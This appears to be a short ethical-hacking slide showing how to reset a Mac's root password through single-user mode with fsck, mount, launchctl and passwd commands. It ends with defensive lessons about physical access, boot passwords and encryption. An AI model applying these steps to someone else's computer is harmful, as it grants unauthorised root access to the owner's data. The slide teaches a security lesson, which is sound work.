

## Hack a Mac with 1/1/4!

- One reboot
- One special key combo (**Command+S**)
- At the Terminal, type **clear** to clear the screen, then:

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/sbin/fsck -fy
/sbin/mount -uw /
launchctl load /System/Library/LaunchDaemons/
com.apple.opendirectoryd.plist
passwd
```
- Enter a new 'root' password, twice  
**exit**
- Log in as **root** using the new password

## Lessons Learned:

- Physical Access is *total access*
- Never leave your laptop/desktop unattended
- Ethical Hacking is practical and useful
- To protect against this hack:
  - Change your BIOS settings to require a password to change the boot order or boot device
  - Encrypt sensitive files (or all your files), and use a strong password